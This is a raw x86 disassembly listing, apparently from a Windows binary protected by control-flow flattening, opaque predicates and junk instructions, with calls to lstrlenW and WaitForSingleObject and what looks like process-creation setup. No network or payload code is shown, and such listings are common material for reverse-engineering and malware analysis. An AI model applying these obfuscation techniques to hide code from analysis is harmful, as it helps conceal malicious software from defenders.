mov esi, eax
or esi, 0x8020105
and eax, 0x100400a2
mov edx, ecx
or edx, 0x81b86248
and esi, 0x89ba634d
and ecx, 0x66419c10
and edx, 0x89ba634d
or ecx, esi
mov esi, 0xe00275e7
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xe7f9fe58
and ecx, 0x180601a7
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd497c814
mov edx, ecx
and edx, 0x2b6837eb
or eax, edx
xor eax, 0x2b6837eb
xor ecx, eax
test ecx, eax
sete al
setne dl
cmp dword [0x460980], 0xa
setl ah
mov cl, ah
mov ch, ah
or cl, al
xor al, ah
xor ch, dl
or dl, ah
and al, ah
mov ah, dl
xor ch, 1
xor cl, 1
xor al, 1
or cl, ch
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x44a4d075
cmovne eax, esi
test dl, 1
mov edx, 0x44a4d075
cmovne eax, edx
test cl, 1
cmove eax, esi
jmp 0x402260
cmp byte [ebp - 0x97], 0
mov eax, 0xc406bfd9
mov ecx, 0xed60fcc4
cmovne eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x54]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xa34c2200
mov ecx, edx
and ecx, 0x4010c57
and edx, 0xbc2d1868
or esi, ecx
mov ecx, eax
and ecx, 0x58b2d1a8
and eax, 0x43d2e797
xor esi, 0xa34c2200
or eax, edx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xda1d2665
and esi, 0x25e2d99a
or ecx, esi
mov esi, 0x68f529bf
mov edi, ecx
xor edi, 0x20400033
xor ecx, 0x82aff7cc
mov edx, ecx
and edx, 0xdf159dc8
and edi, 0x20ea6237
or edi, edx
mov edx, eax
xor edx, 0xc26217
xor eax, 0x9c051848
and eax, 0xdf159dc8
and edx, 0x20ea6237
or edx, eax
xor edx, edi
xor ecx, edx
test ecx, edx
setne dl
cmp dword [0x460980], 0xa
setl ah
setge al
mov cl, ah
xor cl, dl
xor cl, 1
or cl, al
xor al, dl
or dl, ah
and al, ah
mov ah, dl
xor al, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x68f529bf
mov al, ah
xor al, dl
test dl, 1
mov edx, 0xf104eb81
cmovne ecx, edx
test ah, ah
cmove ecx, esi
test al, 1
jmp 0x411969
mov eax, 0x4006874f
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x61a2ca86
and ecx, 0x57af8cdd
mov edx, eax
and edx, 0x9e5d3578
or esi, edx
mov edx, eax
or edx, 0x85374718
and eax, 0xa8507322
mov edi, esi
xor edi, 0x60808886
xor esi, 0x84150519
and edx, 0x85374719
or eax, ecx
and esi, 0x85374719
and edi, 0x7ac8b8e6
or edi, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0xa8507322
mov edi, esi
and edi, 0x57af8cdd
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x20d19ab9
sete al
setne cl
cmp dword [0x460980], 0xa
setl dl
setge ah
and dl, cl
and al, ah
or cl, ah
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
or dl, al
and ah, cl
mov ecx, 0x20d19ab9
mov al, dl
xor al, ah
test dl, dl
mov edx, 0x51d2b2a6
cmovne ecx, edx
test ah, ah
cmove ecx, esi
test al, al
cmovne ecx, edx
mov eax, ecx
jmp 0x402260
mov ecx, dword [0x460984]
mov edi, 0x4eba4f66
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0x6b0e33eb
and ecx, 1
mov esi, edx
and edx, 0x94f1cc14
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0xbe5000ae
mov edx, eax
xor edx, 0x6b0e33eb
xor eax, 0x94f1cc14
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne ch
sete al
cmp dword [0x460980], 0xa
mov cl, ch
setge ah
setl dl
and cl, dl
xor dl, al
and al, ah
or ah, ch
or al, cl
xor ah, 1
mov ecx, edx
xor al, 1
or ah, dl
xor cl, 1
mov ch, al
or al, ah
xor ch, ah
xor al, 1
or al, ch
mov ah, al
not ah
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x4eba4f66
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
test cl, 1
cmovne eax, edx
jmp 0x402260
mov eax, 0xbe2f95b0
jmp 0x402260
mov eax, 0x358bc6c6
jmp 0x402260
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x130]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, eax
not ecx
and eax, 0x4bb5738d
and ecx, 0xb44a8c72
or eax, ecx
mov ecx, eax
xor ecx, 0x41346089
xor eax, 0x34088860
and eax, 0x3e899b64
and ecx, 0xc176649b
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x8176649b
xor eax, 0x3e899b64
xor edx, 0x7e899b64
and edx, eax
and ecx, 0xbfffffff
and eax, 0x40000000
or eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x3d4977e4
mov edx, eax
and edx, 0x35406060
and ecx, eax
not eax
and eax, 0x8091784
or edx, eax
xor edx, 0x35406060
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x900a6348
and eax, 0x6ff59cb7
or ecx, eax
cmp ecx, 0xad4314ac
mov ecx, dword [0x460984]
setne byte [ebp - 0x9b]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x2f72fb40
mov edx, ecx
and edx, 0xd08d04be
and ecx, 0x8539e646
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
and eax, 0x7ac619b9
xor esi, 0x2f72fb40
or eax, ecx
or edx, esi
mov esi, 0x20d19ab9
mov ecx, eax
xor ecx, 0x7ac619b9
xor eax, 0x8539e646
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x460980], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
and cl, ch
xor dl, ch
and dh, al
and dl, al
xor al, ah
or dh, cl
and al, ah
mov ah, dl
mov cl, dh
xor dl, al
xor ah, 1
xor al, 1
xor cl, ch
or al, ah
and cl, dh
xor al, 1
mov ch, cl
or al, dl
mov dh, cl
xor ch, 1
mov ah, al
or al, cl
mov dl, ch
xor ah, 1
xor al, 1
and dl, cl
xor dl, 1
xor dh, dl
or dl, cl
xor dl, 1
or dl, dh
xor dl, ah
xor ah, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x5e6d65c
cmovne ecx, esi
test al, 1
mov eax, 0x5e6d65c
jmp 0x402252
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x2685bc22
mov esi, edx
and esi, 0xd97a43dc
and edx, 0x83602c42
or esi, ecx
mov ecx, eax
or ecx, 0x2685bc22
and eax, 0x7c9fd3bd
and ecx, 0x2685bc23
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x18989e43
mov esi, edx
and esi, 0xe76761bc
or ecx, esi
mov esi, eax
xor esi, 0x18989201
xor eax, 0x83602000
and eax, 0xe76761bc
and esi, 0x18989e43
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xbce08333
sete dl
setne ch
cmp dword [0x460980], 0xa
setge ah
setl al
mov cl, ah
or al, dl
xor cl, ch
xor al, 1
and ch, cl
and cl, ah
xor ah, dl
mov dh, ch
xor ch, cl
xor cl, 1
xor ah, 1
xor dh, 1
or al, ah
or cl, dh
mov ah, al
xor cl, 1
xor ah, 1
or cl, ch
mov edx, ecx
xor dl, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xf0d37f9a
cmovne ecx, esi
test al, 1
mov esi, 0xf0d37f9a
mov eax, ecx
cmovne eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, 0xf0dda274
jmp 0x402260
mov eax, 0xa6e1433c
jmp 0x402260
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x6c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x50]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x3bb5e532
jmp 0x402260
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
add eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0
mov eax, 0x2ffebdee
jmp 0x402260
cmp byte [ebp - 0xa2], 0
mov eax, 0x3447bcda
mov ecx, 0x95c2774a
cmovne eax, ecx
jmp 0x402260
mov eax, 0x871e1655
jmp 0x402260
cmp byte [ebp - 0x9f], 0
mov eax, 0x8c6d68a8
mov ecx, 0x42710f4a
cmovne eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x8c], eax
mov eax, 0xbfacec0a
jmp 0x402260
mov eax, dword [ebp - 0x58]
mov esi, 0x387dc046
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
add eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xb0]
mov ecx, dword [0x460984]
mov eax, dword [eax]
mov dword [ebp - 0x11c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa91f22f4
and ecx, 0x56e0dd0a
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
xor edx, 0xa91f22f4
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne ah
sete ch
cmp dword [0x460980], 0xa
setl dl
setge al
mov cl, dl
and dl, ah
xor cl, ch
and ch, al
or dl, ch
mov ch, al
or al, ah
xor ch, ah
xor al, 1
or al, ch
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x667ff946
cmovne eax, esi
test dl, 1
mov edx, 0x667ff946
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402260
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x130]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, 0x51d2b2a6
jmp 0x402260
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0x4c]
inc eax
mov dword [ecx], eax
mov eax, 0x2ffebdee
jmp 0x402260
cmp byte [ebp - 0x9c], 0
mov eax, 0xadbc636b
mov ecx, 0x3e30e3d1
cmovne eax, ecx
jmp 0x402260
cmp byte [ebp - 0x98], 0
mov eax, 0x805d114a
mov ecx, 0x430727b
cmovne eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0xb8]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
ror edx, 0x89
dec esi
imul ebx
imul edi
rcr eax, 0xac
dec eax
bswap edx
bswap edx
rol eax, 0xef
bswap esi
rcl edi, 0x4a
neg edx
neg ebx
rcr ebx, 0xb
rol eax, 0xd7
and edi, 0x43
or esi, 0x11
neg edi
dec edx
bswap ebx
imul edx
dec edx
rcl eax, 0x97
neg esi
inc edx
neg ebx
imul ebx
bswap esi
rcl eax, 0xb4
rcl eax, 0xdd
mov eax, 0xed
not esi
sub eax, 0xd1
ror edi, 0xd3
add esi, 6
and edi, 0x3d
neg edx
sub edx, 0x44
rcr edi, 0x73
add edi, 0xc6
inc edx
neg edx
inc edi
rcr edi, 0xd4
dec eax
imul eax
bswap edx
ror ebx, 0xc8
imul eax
add edi, 0x8e
or edx, 0xdc
add edx, 0x41
rol edx, 0x32
imul esi
or edi, 0x53
sbb eax, 0xb6
rcl eax, 0x35
mov edx, 0x82
inc edx
imul edx
mov esi, 0x79
not edx
dec esi
rcr edi, 0x9d
inc edi
dec esi
sub eax, 0x5a
rol eax, 0x9e
mov eax, 0xeb
imul edx
ror edx, 0xd2
imul eax
inc edx
not edx
bswap eax
add edx, 0x6b
imul eax
and edx, 0x79
imul ebx
bswap edx
sbb edi, 0x1d
imul edx
dec ebx
ror eax, 0xc3
sbb edx, 0x58
mov eax, 0x16
sub edx, 0x65
inc ebx
not ebx
neg edi
or esi, 0
bswap edx
rol edx, 0xb9
imul edx
bswap ebx
rol esi, 0x54
dec esi
dec edi
rol edi, 0x75
and esi, 0xc
rcr edi, 0xca
dec edi
rol ebx, 0xb3
bswap ebx
imul esi
and ebx, 0xca
bswap edi
neg esi
rcl eax, 0x79
inc ebx
inc ebx
and eax, 0xa0
inc ebx
mov esi, 0x9a
dec eax
sub edx, 0x60
or ebx, 0x45
inc esi
not eax
bswap ebx
and ebx, 0xbf
mov ebx, 0xe8
dec edi
or edi, 0xcb
rcr esi, 0x83
sbb edx, 0xf3
inc esi
add eax, 0x4b
dec edi
rol edx, 0xde
add eax, 0xd4
rcl edi, 0xb2
or edx, 0xe9
neg edx
rcr ebx, 0xe7
not ebx
neg esi
dec edx
inc ebx
rcl esi, 0x1c
not edi
neg eax
rol esi, 0x6b
inc edi
and edi, 0xaf
mov edi, 0xbd
dec eax
add ebx, 0x13
imul ebx
or edx, 0x61
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], 0
mov eax, 0x9b5a4a9e
jmp 0x402260
mov eax, 0x3447bcda
jmp 0x402260
mov eax, dword [ebp - 0xa8]
vxorps xmm0, xmm0, xmm0
mov esi, 0x2e53e5a2
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x80]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
add eax, 0x78
mov dword [ebp - 0x140], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xd3aae8f0
and ecx, 0x2c55170e
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
xor edx, 0xd3aae8f0
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
xor ecx, 0xffffffff
sete cl
setne al
cmp dword [0x460980], 0xa
setge dl
setl ah
mov ch, dl
or dl, al
xor ch, al
xor al, ah
not al
and ch, cl
and al, ah
mov ah, dl
xor ah, 1
or al, ch
mov cl, ah
and cl, dl
xor cl, 1
or cl, dl
mov dl, ah
xor cl, 1
xor dl, al
or cl, ah
xor cl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x17a456d8
cmovne eax, esi
test cl, 1
mov ecx, 0x17a456d8
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402260
cmp eax, 0xeaa6b8a5
jne 0x402260
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0042fc70
mov eax, dword [ebp - 0x20]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret